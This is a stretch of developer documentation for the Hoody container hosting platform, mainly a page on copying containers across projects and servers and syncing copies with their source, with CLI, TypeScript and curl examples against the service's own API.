| **Cryptocurrency** | 5-60 min | +5% | Privacy, international, no-account |
| **Bank Transfer** | 1-3 days | Bank fees vary | Large deposits ($500+), enterprise |

**Choose based on what matters to you:** speed (card), privacy (crypto), or volume (bank transfer).

---

## Troubleshooting

### Credit Card Declined

Your bank may flag hosting purchases as suspicious. Call your bank to whitelist Stripe. Verify the card hasn't expired and the billing address matches. Check payment status:


  
    ```bash
    hoody wallet payments status $PAYMENT_ID
    ```
  
  
    ```typescript
    const status = await client.api.wallet.getPaymentStatus(PAYMENT_ID);
    ```
  
  
    ```bash
    curl -X GET "https://api.hoody.icu/api/v1/wallet/payments/$PAYMENT_ID" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


### Crypto Payment Not Credited

Check the blockchain explorer for your transaction hash. Bitcoin needs 1-6 confirmations, Ethereum needs 12. If confirmed but not credited, contact support with the transaction hash and payment reference.

### Bank Transfer Missing After 3+ Days

Verify you included the reference number. Check with your bank that the transfer was processed and not held for review. SWIFT transfers can take up to 5 days. Contact support with your bank confirmation and transfer details.

---

## What's Next


  
  
  


---

> **Pay how you want. Card, crypto, or wire.**
> **Every transaction logged. Every invoice generated. Everything over HTTP.**
> **This is billing that gets out of your way.**

---

# Copy & Sync

**Page:** foundation/containers/copy-sync

[Download Raw Markdown](./foundation/containers/copy-sync.md)

---

# Copy & Sync

**Create copies of containers across projects and servers. Synchronize copies with source changes. One template, infinite instantiations.**

After mastering [snapshots](/foundation/containers/snapshots/) for time travel, you need **container duplication** for redundancy, team environments, and disaster recovery.

---

## API Endpoints Summary

**Official Technical Reference:**

This Foundation page explains copy & sync concepts and workflows. For complete endpoint documentation:

**Copy Operations:**
- **[POST /api/v1/containers/\{id\}/copy](/api/container-copy-sync/)** - Duplicate container

**Sync Operations:**
- **[POST /api/v1/containers/\{id\}/sync](/api/container-copy-sync/)** - Sync copy with source

**Related:**
- **[GET /api/v1/containers/\{id\}](/api/containers/)** - Check source_container_id for copies
- **[POST /api/v1/containers/\{id\}/snapshots](/api/container-snapshots/)** - Source for copy operation

---

## What Is Container Copy?

**Container copy creates a complete, independent duplicate:**

```
Source Container (Production)
        ↓ (copy operation)
New Container (Staging)
```

**The copy includes:**
- ✅ Entire filesystem (all files, directories)
- ✅ Configuration (environment vars, resource allocation)
- ✅ Installed software (packages, dependencies)  
- ✅ Data (databases, user files)
- ✅ Snapshots (all previous snapshots copied too)

**The copy gets:**
- 🆕 New container ID (independent lifecycle)
- 🆕 New SSH key (security requirement)
- 🆕 New service URLs (different project/container IDs)
- 🔗 Reference to source (via `source_container_id`)


**Firewall and network rules are NOT copied by default.** The copy starts with a fresh network/firewall configuration. To carry the source's rules over, set `copy_firewall_rules: true` and/or `copy_network_rules: true` in the copy request.


**Copy runs independently.** Changes to copy don't affect source. Changes to source don't affect copy (unless you sync).

---

## Why Copy Containers?

### Use Case 1: Create Staging from Production

**Get exact production state for testing:**



**Now staging is identical to production** - same code, same data, same configuration. Test updates there before deploying to prod.

### Use Case 2: Team Development Environments

**Every developer gets identical setup:**



**One perfect template → infinite developer environments.** No "works on my machine" issues.

### Use Case 3: Disaster Recovery

**Redundancy across geographic regions:**



**If US server fails:** EU backup can go live immediately.

### Use Case 4: A/B Testing

**Duplicate for parallel testing:**

```bash
# Copy to test different approaches
POST /api/v1/containers/{app_id}/copy
{"target_project_id": "{project}", "name": "variant-a"}

POST /api/v1/containers/{app_id}/copy
{"target_project_id": "{project}", "name": "variant-b"}
```

**Run experiments in parallel** without affecting original.

---

## Copying Containers

### Basic Copy (Same Server, Same Project)



**Response:**

```json
{
  "statusCode": 201,
  "message": "Container copy initiated successfully",
  "data": {
    "id": "01bcdef123456789abcdef012",
    "name": "container-copy",
    "status": "copying",
    "source_container_id": "890abcdef12345678901cdef",
    "project_id": "67e89abc123def456789abcd",
    "server_id": "63f8b0e5c9a1b2d3e4f5a6b7",
    "server_name": "node-us",
    "created_at": "2025-11-09T15:00:00.000Z"
  }
}
```

**Copy process runs asynchronously.** Status progresses: `copying` → `running` (the copy starts automatically once the background job finishes).

**Copy-on-Write (CoW) Technology:**
- ⚡ **Speed:** Only unique or changed data blocks transferred
- 💾 **Storage:** Shared blocks referenced, not duplicated
- 🔄 **Efficiency:** Incremental changes minimize network transfer
- 📦 **Scalability:** Create dozens of copies without proportional storage cost

**Typical copy time:** see the [Copy Timing](#copy-timing) breakdown by container size below — under 10 GB, same-server copies usually finish in 1–2 minutes; cross-server times scale with network bandwidth. Sync operations are typically faster, at 10 seconds to 3 minutes for an incremental update.

### Cross-Project Copy

**Duplicate to different project:**



**Use cases:**
- Client demo environments
- Separate staging/production projects
- Team member personal projects
- Experiment isolation

### Cross-Server Copy

**Duplicate to different geographic location:**



**Benefits:**
- Geographic redundancy
- Lower latency for EU users
- Disaster recovery (different datacenter)

**Slower copy time** due to network transfer between servers.

### Copy from Specific Snapshot

**Use a known-good snapshot as source:**



**Why specify snapshot:**
- Source container may have changed since you last tested
- Copy from proven stable state
- Reproducible environments (always copy from v1.0.0 snapshot)

**If omitted:** Copies source's current state (latest snapshot if running, or current filesystem).

---

## SSH Key Security

**Copies MUST use different SSH keys than source.**


**Security Rule:** Each container must have unique SSH credentials. Sharing keys across containers creates security vulnerabilities.


### Auto-Generated Keys

```bash
# Omit ssh_public_key → auto-generated
POST /api/v1/containers/{source_id}/copy
{
  "target_project_id": "{project}",
  "name": "copy-with-auto-key"
}
```

**Hoody generates new key pair automatically.** Copy is secured with unique credentials.

### Custom Keys

```bash
# Provide your own public key
POST /api/v1/containers/{source_id}/copy
{
  "target_project_id": "{project}",
  "name": "copy-with-custom-key",
  "ssh_public_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB..."
}
```

**Best practice:** Different team members → different SSH keys.

---

## Synchronizing Copies

**Update a copy to match source container's current state.**

### What Is Sync?

**Sync performs incremental update from source to copy:**

```
Source Container (updated with new features)
        ↓ (sync operation)
Copy Container (receives updates incrementally)
```

**Sync transfers:**
- ✅ Filesystem changes (new/modified files)
- ✅ Deleted files (removed from copy)
- ✅ Updated data (databases, caches)

**Sync preserves:**
- ✅ Copy's unique settings (name, SSH key, color)
- ✅ Copy's container ID
- ✅ Copy's service URLs
- ✅ Copy's network/firewall configuration

**Much faster than full copy** (only changes transferred).

### Basic Sync Operation



**Response:**

```json
{
  "statusCode": 200,
  "message": "Container sync initiated successfully",
  "data": {
    "container_id": "01bcdef123456789abcdef012",
    "source_container_id": "890abcdef12345678901cdef",
    "status": "copying"
  }
}
```

**Sync runs asynchronously.** Typical time: 10 seconds to 3 minutes depending on data volume changed.

### Sync Requirements

**Sync only works if:**
1. Container was created via copy operation (has `source_container_id`)
2. Source container still exists
3. You have access to source container

**If source deleted:** Cannot sync (orphaned copy).

---

## Copy vs Sync

<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; margin: 1.5rem 0;">

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Copy (Full Duplication)**

**When:** First time creating duplicate

**Process:**
- Creates complete independent container
- Full data transfer
- New container ID and URLs
- Can be in different project/server

**Time:**
- Same server: 1-5 minutes
- Cross-server: 5-15 minutes

**Storage:**
- Full container size

**Use for:**
- Initial environment setup
- Geographic replication
- Team onboarding

</div>

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Sync (Incremental Update)**

**When:** Updating existing copy

**Process:**
- Transfers only changes
- Preserves copy's unique settings
- Same container ID and URLs
- Requires existing copy

**Time:**
- Typically 10 seconds to 3 minutes, longer for multi-GB diffs
- Only changed data transferred

**Storage:**
- Incremental (only changes)

**Use for:**
- Keeping staging updated
- Propagating bug fixes
- Syncing team environments

</div>

</div>

**Workflow:** Copy once (full) → Sync many times (incremental).

---

## Real-World Scenarios

### Scenario 1: Staging Synced with Production


  
    ```bash
    # Day 1: Create staging from production
    hoody containers copy $PROD_ID \
      --target-project-id $STAGING_PROJECT \
      --name "staging-api"

    # Week 1: Sync staging to get production fixes
    hoody containers sync $STAGING_COPY_ID

    # Week 2: Sync again (incremental, fast)
    hoody containers sync $STAGING_COPY_ID
    ```
  
  
    ```typescript
    // Day 1: Create staging from production
    const copy = await client.api.containers.copy(PROD_ID, {
      target_project_id: STAGING_PROJECT,
      name: 'staging-api'
    });

    // Week 1: Sync staging to get production fixes
    await client.api.containers.sync(copy.data.id);

    // Week 2: Sync again (incremental, fast)
    await client.api.containers.sync(copy.data.id);
    ```
  
  
    ```bash
    # Day 1: Create staging from production
    curl -X POST "https://api.hoody.icu/api/v1/containers/{prod_id}/copy" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"target_project_id": "{staging_project}", "name": "staging-api"}'

    # Week 1: Sync staging to get production fixes
    curl -X POST "https://api.hoody.icu/api/v1/containers/{staging_copy_id}/sync" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Week 2: Sync again (incremental, fast)
    curl -X POST "https://api.hoody.icu/api/v1/containers/{staging_copy_id}/sync" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


**Keep staging current** without full re-copy.

### Scenario 2: Team Environment Template


  
    ```bash
    # New team member Alice joins - copy template
    hoody containers copy $TEMPLATE_ID \
      --target-project-id $ALICE_PROJECT \
      --name "alice-dev-env"

    # Template gets updated - sync Alice's environment
    hoody containers sync $ALICE_COPY_ID

    # Another developer Bob joins
    hoody containers copy $TEMPLATE_ID \
      --target-project-id $BOB_PROJECT \
      --name "bob-dev-env"
    ```
  
  
    ```typescript
    // New team member Alice joins - copy template
    const alice = await client.api.containers.copy(TEMPLATE_ID, {
      target_project_id: ALICE_PROJECT,
      name: 'alice-dev-env'
    });

    // Template gets updated - sync Alice's environment
    await client.api.containers.sync(alice.data.id);

    // Another developer Bob joins
    await client.api.containers.copy(TEMPLATE_ID, {
      target_project_id: BOB_PROJECT,
      name: 'bob-dev-env'
    });
    ```
  
  
    ```bash
    # New team member Alice joins - copy template
    curl -X POST "https://api.hoody.icu/api/v1/containers/{template_id}/copy" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"target_project_id": "{alice_project}", "name": "alice-dev-env"}'

    # Template gets updated - sync Alice's environment
    curl -X POST "https://api.hoody.icu/api/v1/containers/{alice_copy_id}/sync" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Another developer Bob joins
    curl -X POST "https://api.hoody.icu/api/v1/containers/{template_id}/copy" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"target_project_id": "{bob_project}", "name": "bob-dev-env"}'
    ```
  


**One template keeps entire team synchronized.**

### Scenario 3: Geographic Redundancy


  
    ```bash
    # Copy production to EU for redundancy
    hoody containers copy $PROD_US_ID \
      --target-project-id $PROJECT_ID \
      --target-server-id $EU_SERVER_ID \
      --name "prod-eu-replica"

    # Monthly: Sync EU replica with US changes
    hoody containers sync $PROD_EU_ID
    ```
  
  
    ```typescript
    // Copy production to EU for redundancy
    const euReplica = await client.api.containers.copy(PROD_US_ID, {
      target_project_id: PROJECT_ID,
      target_server_id: EU_SERVER_ID,
      name: 'prod-eu-replica'
    });

    // Monthly: Sync EU replica with US changes
    await client.api.containers.sync(euReplica.data.id);
    ```
  
  
    ```bash
    # Copy production to EU for redundancy
    curl -X POST "https://api.hoody.icu/api/v1/containers/{prod_us_id}/copy" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "target_project_id": "{same_project}",
        "target_server_id": "{eu_server_id}",
        "name": "prod-eu-replica"
      }'

    # Monthly: Sync EU replica with US changes
    curl -X POST "https://api.hoody.icu/api/v1/containers/{prod_eu_id}/sync" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


**If US datacenter fails:** Switch to EU replica via [proxy alias](/foundation/proxy/aliases/).

### Scenario 4: Feature Branch Testing

```bash
# Copy production to test new feature
curl -X POST "https://api.hoody.icu/api/v1/containers/{prod_id}/copy" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -d '{
    "target_project_id": "{same_project}",
    "name": "feature-auth-v2"
  }'

# Work on feature in the copy
# (Terminal, display, files all available)

# Feature complete? Snapshot it
POST /api/v1/containers/{feature_copy_id}/snapshots
{"alias": "feature-auth-v2-complete"}

# Copy this feature container to production
POST /api/v1/containers/{feature_copy_id}/copy
{
  "target_project_id": "{production_project}",
  "name": "prod-with-auth-v2"
}
```

**Safe experimentation with production data.**

---

## Copy Operation Details

### Copy Process Flow

```
1. Copy initiated (status: copying)
2. Source snapshot created (if needed)
3. Snapshot transferred to target server
4. New container provisioned from snapshot
5. SSH keys generated/configured
6. Copy complete and started (status: running)
```

**Track progress:**

```bash
# Check copy status
curl "https://api.hoody.icu/api/v1/containers/{new_copy_id}" \
  -H "Authorization: Bearer $HOODY_TOKEN"

# Watch for: "status": "copying" → "status": "running"
```

### Copy Parameters

**Required:**
- `target_project_id` - Destination project

**Optional:**
- `target_server_id` - Destination server (defaults to source server)
- `name` - Copy name (auto-generated if omitted)
- `ssh_public_key` - Custom SSH key (auto-generated if omitted)
- `source_snapshot` - Specific snapshot to copy from (uses latest if omitted)
- `copy_firewall_rules` - Copy the source's firewall rules (ACL) to the copy. Default: `false`
- `copy_network_rules` - Copy the source's network rules/settings to the copy. Default: `false`

### Copy Timing

**Same server:**
- 10 GB container: ~1-2 minutes
- 50 GB container: ~3-5 minutes
- 100 GB container: ~5-10 minutes

**Cross-server (data transfer over network):**
- 10 GB container: ~3-5 minutes
- 50 GB container: ~10-15 minutes
- 100 GB container: ~20-30 minutes

**Depends on:**
- Container size
- Network bandwidth between servers
- Server load
- Snapshot size

---

## Keeping Copies Updated

**Keep copies updated with source changes.**

### When to Sync

**Sync when source has updates:**
- Code deployments to production → sync staging
- Template improvements → sync team environments
- Security patches → sync all replicas
- Data updates → sync backups

**How often:**
- Development: Daily or on-demand
- Staging from production: After each prod deployment
- Disaster recovery: Weekly or monthly
- Team environments: When template updates

### Sync Operation



**What happens:**
1. Source's latest snapshot is captured
2. Changed files identified (incremental diff)
3. Changes transferred to copy
4. Copy's filesystem updated
5. Copy restarted (if was running)

**Sync is incremental:** Only changes transferred, much faster than full re-copy.

### Sync vs Re-Copy


  
    ```bash
    # Update existing copy
    POST /api/v1/containers/{copy_id}/sync
    ```
    
    **Advantages:**
    - ✅ Faster (incremental)
    - ✅ Preserves copy's unique settings
    - ✅ Same container ID/URLs
    - ✅ Less bandwidth usage
    - ✅ Copy relationship preserved (source_container_id)
    
    **When:** Source has incremental updates
  
  
    ```bash
    # Delete old copy
    DELETE /api/v1/containers/{old_copy_id}
    
    # Create fresh copy
    POST /api/v1/containers/{source_id}/copy
    {"target_project_id": "{project}", "name": "new-copy"}
    ```
    
    **Advantages:**
    - ✅ Clean slate
    - ✅ New container ID
    - ✅ Can change target project/server
    
    **When:** Major source changes, or troubleshooting sync issues
  


**Prefer sync for regular updates.** Re-copy only when starting fresh.

---

## Automation Patterns

### Pattern 1: Nightly Staging Sync

```javascript
// Automated sync script (run via cron at 2 AM)
async function syncStaging() {
  const token = process.env.HOODY_TOKEN;
  const stagingCopyId = process.env.STAGING_CONTAINER_ID;
  
  console.log('Starting nightly staging sync...');
  
  // Sync staging with production
  const response = await fetch(
    `https://api.hoody.icu/api/v1/containers/${stagingCopyId}/sync`,
    {
      method: 'POST',
      headers: { 'Authorization': `Bearer ${token}` }
    }
  );
  
  const result = await response.json();
  
  if (response.ok) {
    console.log('Staging synced successfully');
    console.log(`Sync status: ${result.data.status}`);
  } else {
    console.error('Sync failed:', result.message);
    // Send alert via hoody-notifications
  }
}
```

**Run daily:** Staging stays current with production automatically.

### Pattern 2: Team Environment Sync

```javascript
// Sync all developer environments with template updates
async function syncTeamEnvironments(templateId, teamCopyIds) {
  const token = process.env.HOODY_TOKEN;
  const headers = { 'Authorization': `Bearer ${token}` };
  
  // Sync all copies in parallel
  const syncs = await Promise.all(
    teamCopyIds.map(copyId =>
      fetch(`https://api.hoody.icu/api/v1/containers/${copyId}/sync`, {
        method: 'POST',
        headers
      }).then(r => r.json())
    )
  );
  
  console.log(`Synced ${syncs.length} team environments`);
  
  // Notify team of updates via Slack/email
}

// Run after template updates
syncTeamEnvironments(
  'template_container_id',
  ['alice_copy_id', 'bob_copy_id', 'charlie_copy_id']
);
```

**Keep entire team synchronized** with latest tools/configuration.

### Pattern 3: Conditional Sync Based on Source Changes

```javascript
// Only sync if source has recent updates
async function conditionalSync(sourceId, copyId) {
  const token = process.env.HOODY_TOKEN;
  const headers = { 'Authorization': `Bearer ${token}` };
  
  // Get source container details
  const source = await fetch(
    `https://api.hoody.icu/api/v1/containers/${sourceId}`,
    { headers }
  ).then(r => r.json());
  
  // Get copy details
  const copy = await fetch(
    `https://api.hoody.icu/api/v1/containers/${copyId}`,
    { headers }
  ).then(r => r.json());
  
  // Compare update times
  const sourceUpdated = new Date(source.data.updated_at);
  const copyUpdated = new Date(copy.data.updated_at);
  
  // Sync only if source is newer
  if (sourceUpdated > copyUpdated) {
    console.log('Source has updates, syncing...');
    await fetch(
      `https://api.hoody.icu/api/v1/containers/${copyId}/sync`,
      { method: 'POST', headers }
    );
  } else {
    console.log('Copy is current, no sync needed');
  }
}
```

**Avoid unnecessary syncs** when source hasn't changed.

---

## Copy Tracking

### Identify Copies

**Check if container is a copy:**



**Response includes:**

```json
{
  "data": {
    "id": "01bcdef123456789abcdef012",
    "source_container_id": "890abcdef12345678901cdef",
    ...
  }
}
```

**If `source_container_id` is not null** → container is a copy.

### Find All Copies of a Source



Parse the response for containers where `source_container_id` matches your source container ID.

**Then you can sync all copies programmatically.**

### Copy Lineage

Copy and sync operations do not return separate history IDs. Lineage is tracked
through the container's `source_container_id` field — the only copy-relationship
field exposed by the API.

```json
{
  "id": "01bcdef123456789abcdef012",
  "source_container_id": "890abcdef12345678901cdef"
}
```

**Use for:**
- Tracking the relationship between a copy and its source
- Discovering all copies of a source container (filter on `source_container_id`)
- Determining sync eligibility (only containers with a `source_container_id` can sync)

---

## Common Patterns

### Pattern 1: Production -> Staging -> Development


  
    ```bash
    # Weekly: Copy production to staging
    hoody containers copy $PROD_ID \
      --target-project-id $STAGING_PROJECT --name "staging-app"

    # Daily: Sync staging with production changes
    hoody containers sync $STAGING_ID

    # Developers: Copy staging to personal envs
    hoody containers copy $STAGING_ID \
      --target-project-id $DEV_PROJECT --name "alice-dev"

    # As needed: Sync dev envs with staging
    hoody containers sync $ALICE_DEV_ID
    ```
  
  
    ```typescript
    // Weekly: Copy production to staging
    const staging = await client.api.containers.copy(PROD_ID, {
      target_project_id: STAGING_PROJECT, name: 'staging-app'
    });

    // Daily: Sync staging with production changes
    await client.api.containers.sync(staging.data.id);

    // Developers: Copy staging to personal envs
    const aliceDev = await client.api.containers.copy(staging.data.id, {
      target_project_id: DEV_PROJECT, name: 'alice-dev'
    });

    // As needed: Sync dev envs with staging
    await client.api.containers.sync(aliceDev.data.id);
    ```
  
  
    ```bash
    # Weekly: Copy production to staging
    curl -X POST "https://api.hoody.icu/api/v1/containers/{prod_id}/copy" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"target_project_id": "{staging_project}", "name": "staging-app"}'

    # Daily: Sync staging with production changes
    curl -X POST "https://api.hoody.icu/api/v1/containers/{staging_id}/sync" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Developers: Copy staging to personal envs
    curl -X POST "https://api.hoody.icu/api/v1/containers/{staging_id}/copy" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"target_project_id": "{dev_project}", "name": "alice-dev"}'

    # As needed: Sync dev envs with staging
    curl -X POST "https://api.hoody.icu/api/v1/containers/{alice_dev_id}/sync" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


**Cascading environment updates.**

### Pattern 2: Multi-Region Deployment

```bash
# Primary in US
container: prod-us

# Copy to EU
POST /api/v1/containers/{prod_us_id}/copy
{
  "target_project_id": "{project}",
  "target_server_id": "{eu_server}",
  "name": "prod-eu"
}

# Copy to Asia
POST /api/v1/containers/{prod_us_id}/copy
{
  "target_project_id": "{project}",
  "target_server_id": "{asia_server}",
  "name": "prod-asia"
}

# After US deployment, sync all regions
POST /api/v1/containers/{prod_eu_id}/sync
POST /api/v1/containers/{prod_asia_id}/sync
```

**Global deployment via copy & sync.**

### Pattern 3: Snapshot -> Copy -> Deploy


  
    ```bash
    # 1. Snapshot tested container
    hoody snapshots create --container $TEST_ID --alias "ready-for-prod"

    # 2. Copy to production from that snapshot
    hoody containers copy $TEST_ID \
      --target-project-id $PROD_PROJECT \
      --name "prod-v2" \
      --source-snapshot "snap-20251109-143045"

    # 3. Re-point alias to new container (delete + recreate)
    hoody proxy delete $ALIAS_ID
    hoody proxy create --container-id $NEW_PROD_ID \
      --alias "prod" --program "web" --index 1 --target-path "/"
    ```
  
  
    ```typescript
    // 1. Snapshot tested container
    await client.api.containers.createSnapshot(TEST_ID, {
      alias: 'ready-for-prod'
    });

    // 2. Copy to production from that snapshot
    const prod = await client.api.containers.copy(TEST_ID, {
      target_project_id: PROD_PROJECT,
      name: 'prod-v2',
      source_snapshot: 'snap-20251109-143045'
    });

    // 3. Re-point alias to new container (delete + recreate)
    await client.api.proxyAliases.delete(ALIAS_ID);
    await client.api.proxyAliases.create({
      container_id: prod.data.id,
      alias: 'prod',
      program: 'web',
      index: 1,
      target_path: '/'
    });
    ```
  
  
    ```bash
    # 1. Snapshot tested container
    curl -X POST "https://api.hoody.icu/api/v1/containers/{test_id}/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "ready-for-prod"}'

    # 2. Copy to production from that snapshot
    curl -X POST "https://api.hoody.icu/api/v1/containers/{test_id}/copy" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "target_project_id": "{prod_project}",
        "name": "prod-v2",
        "source_snapshot": "snap-20251109-143045"
      }'

    # 3. Re-point alias to new container (delete + recreate)
    curl -X DELETE "https://api.hoody.icu/api/v1/proxy/aliases/{alias_id}" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    curl -X POST "https://api.hoody.icu/api/v1/proxy/aliases" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "container_id": "{new_prod_id}",
        "alias": "prod",
        "program": "web",
        "index": 1,
        "target_path": "/"
      }'
    ```
  


**Reproducible deployments from known-good snapshots.**

---

## Best Practices

### 1. Always Use Unique SSH Keys

```bash
# ✅ Correct - generate new key for copy
POST /api/v1/containers/{source_id}/copy
{
  "target_project_id": "{project}",
  "name": "copy",
  # Omit ssh_public_key → auto-generated unique key
}

# Or provide different key
POST /api/v1/containers/{source_id}/copy
{
  "target_project_id": "{project}",
  "name": "copy",
  "ssh_public_key": "ssh-rsa DIFFERENT_KEY..."
}
```

**Never reuse SSH keys** across containers.

### 2. Snapshot Before Heavy Sync

```bash
# Before syncing with major changes:

# 1. Snapshot copy's current state
curl -X POST "https://api.hoody.icu/api/v1/containers/{copy_id}/snapshots" \
  -H "Authorization: Bearer $HOODY_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"alias": "before-sync"}'

# 2. Perform sync
curl -X POST "https://api.hoody.icu/api/v1/containers/{copy_id}/sync" \
  -H "Authorization: Bearer $HOODY_TOKEN"

# 3. If sync breaks something, restore
curl -X PATCH "https://api.hoody.icu/api/v1/containers/{copy_id}/snapshots/before-sync" \
  -H "Authorization: Bearer $HOODY_TOKEN"
```

### 3. Document Copy Relationships

```yaml
# containers-mapping.yml
production:
  container_id: 890abcdef12345678901cdef
  server: node-us
  copies:
    - name: staging-api
      container_id: 01bcdef123456789abcdef012
      project: staging-project
      sync_schedule: daily
    - name: prod-eu-replica
      container_id: 12cdef123456789abcdef0123
      project: production-project
      server: node-eu
      sync_schedule: weekly
```

**Track which containers are copies** and sync schedules.

### 4. Copy from Stable Snapshots

```bash
# Instead of copying current state (might be broken):

# 1. Identify stable snapshot
GET /api/v1/containers/{source_id}/snapshots
# Find: "production-stable-v1.0.0"

# 2. Copy from that snapshot
POST /api/v1/containers/{source_id}/copy
{
  "target_project_id": "{project}",
  "name": "guaranteed-stable",
  "source_snapshot": "snap-20251109-143045"
}
```

**Reproducible environments from known-good states.**

### 5. Verify Source Exists Before Sync

```bash
# Check source still exists
curl "https://api.hoody.icu/api/v1/containers/{source_id}" \
  -H "Authorization: Bearer $HOODY_TOKEN"

# If 404: Cannot sync (orphaned copy)
# Need to delete and re-copy from different source
```

---

## Useful Questions

### Can I copy a container to a different user's account?

No. Copies must be within your own projects. To share containers with others, use [storage shares](/foundation/storage/sharing-files/) or export/import workflows.

### What happens if source container is deleted?

The copy continues running independently (it's a separate container). However, you can no longer sync—the relationship is broken. Consider the copy orphaned.

### Can I sync multiple times?

Yes! Sync as often as needed. Each sync is incremental, transferring only changes since last sync. Common pattern: Daily syncs from production to staging.

### Does copy include snapshots from source?

Yes. All source snapshots are copied too. The copy gets complete snapshot history from the source, enabling time travel in the duplicate.

### Can I copy to a different project and server simultaneously?

Yes:
```bash
POST /api/v1/containers/{source}/copy
{
  "target_project_id": "{different_project}",
  "target_server_id": "{different_server}",
  "name": "cross-everything-copy"
}
```
Both parameters can be different from source.

### Do proxy aliases get copied?

No. Proxy aliases are separate configuration, not part of container state. After copying, create new aliases for the copy or update existing aliases to point to it.

### Can I sync in reverse (copy → source)?

No. Sync is unidirectional: source → copy. To propagate changes from copy to source, manually transfer data or make the copy the new source (stop using old source).

### What if copy has local changes when I sync?

Local changes in copy are **overwritten** by source state. Sync replaces copy's filesystem with source's filesystem. If copy has important changes, snapshot before sync, or propagate changes to source first.

### How much does copy/sync cost?

Copy: Same as creating new container (storage, compute). Sync: Minimal (bandwidth for changes only). Both use source snapshot as transfer mechanism.

---

## Troubleshooting

### Copy Operation Fails

**Problem:** Copy returns error or stays in "copying" state

**Solutions:**

1. **Check source container exists and is accessible:**
   ```bash
   GET /api/v1/containers/{source_id}
   # Should return 200, not 404
   ```

2. **Verify target project exists:**
   ```bash
   GET /api/v1/projects/{target_project_id}
   ```

3. **Check target server has capacity:**
   ```bash
   GET /api/v1/servers/{target_server_id}
   # Verify enough resources
   ```

4. **If cross-server, check network connectivity:**
   - Network issues between servers can stall copy
   - Contact support if persistent

### Sync Fails (400 Error)

**Problem:** Sync operation returns 400 Bad Request

**Cause:** Container is not a copy, or source no longer exists

**Solutions:**

1. **Verify container is a copy:**
   ```bash
   GET /api/v1/containers/{container_id}
   # Check: source_container_id is not null
   ```

2. **Verify source still exists:**
   ```bash
   GET /api/v1/containers/{source_container_id}
   # Should return 200
   ```

3. **If source deleted:**
   - Copy is orphaned
   - Cannot sync anymore
   - Option A: Use copy as new source
   - Option B: Create new copy from different source

### Copy Slower Than Expected

**Problem:** Copy taking very long

**Typical times:**
- Same server, 50 GB: ~3-5 minutes
- Cross-server, 50 GB: ~10-15 minutes

**If much slower:**

1. **Check container size:**
   ```bash
   GET /api/v1/containers/{source_id}
   # Check: container filesystem usage
   # Larger containers = longer copy time
   ```

2. **Cross-server copies are slower:**
   - Network transfer adds significant time
   - 100+ GB containers can take 30+ minutes

3. **Server load:**
   - High server load slows operations
   - Try during off-peak hours

### Sync Doesn't Update Copy

**Problem:** Sync completes but copy still has old data

**Possible causes:**

1. **Source hasn't changed:**
   ```bash
   GET /api/v1/containers/{source_id}
   # Check updated_at timestamp
   # If old, source hasn't been modified
   ```

2. **Sync transferred but copy not restarted:**
   ```bash
   # Restart copy to apply changes
   POST /api/v1/containers/{copy_id}/restart
   ```

3. **Changes in copy override sync:**
   - If copy has local modifications, check carefully
   - Sync should overwrite but verify data is updated

---

## What's Next

**Master container duplication:**

1. **[Snapshots →](./snapshots/)** - Source for copy operations
2. **[Images →](./images/)** - Template containers from images
3. **[Create, Edit, Delete →](./create-edit-delete/)** - Container fundamentals

**Use copies with:**
- **[Proxy Aliases →](/foundation/proxy/aliases/)** - Route different aliases to copies
- **[Storage Shares →](/foundation/storage/sharing-files/)** - Share data between copies
- **[Managing →](./managing/)** - Operate copies independently

**Understanding gained:**
- ✅ Copy creates complete independent duplicate
- ✅ Sync updates copy with source changes
- ✅ Copies can be cross-project and cross-server
- ✅ SSH keys must be unique per container
- ✅ Sync is incremental (faster than re-copy)
- ✅ source_container_id tracks copy relationship
- ✅ Copies survive source deletion (orphaned)

---

> **One perfect container.**  
> **Copy to staging, dev, backup.**  
> **Sync to propagate updates.**  
> **Independent lifecycle, shared lineage.**

## Try It Out

Copy and synchronize containers directly from your browser:

---

# Create, Edit, Delete

**Page:** foundation/containers/create-edit-delete

[Download Raw Markdown](./foundation/containers/create-edit-delete.md)

---

# Create, Edit, Delete

**Containers are HTTP computers you spawn on demand.** Create them in 1-5 seconds, configure them exactly how you need, and delete them when you're done.

After understanding [Projects & Containers](/foundation/projects-containers/), you need to know how to **actually create and manage** individual containers.

---

## API Endpoints Summary

**Official Technical Reference:**

This Foundation page explains container CRUD concepts and workflows. For complete endpoint documentation:

**Container Creation:**
- **[POST /api/v1/projects/\{id\}/containers](/api/containers/)** - Create new container
- **[GET /api/v1/containers](/api/containers/)** - List all containers
- **[GET /api/v1/containers/\{id\}](/api/containers/)** - Get container details

**Container Modification:**
- **[PATCH /api/v1/containers/\{id\}](/api/containers/)** - Update container configuration

**Container Deletion:**
- **[DELETE /api/v1/containers/\{id\}](/api/containers/)** - Delete container permanently

**Related Operations:**
- **[Container Operations](/api/container-operations/)** - Start/stop/pause/resume
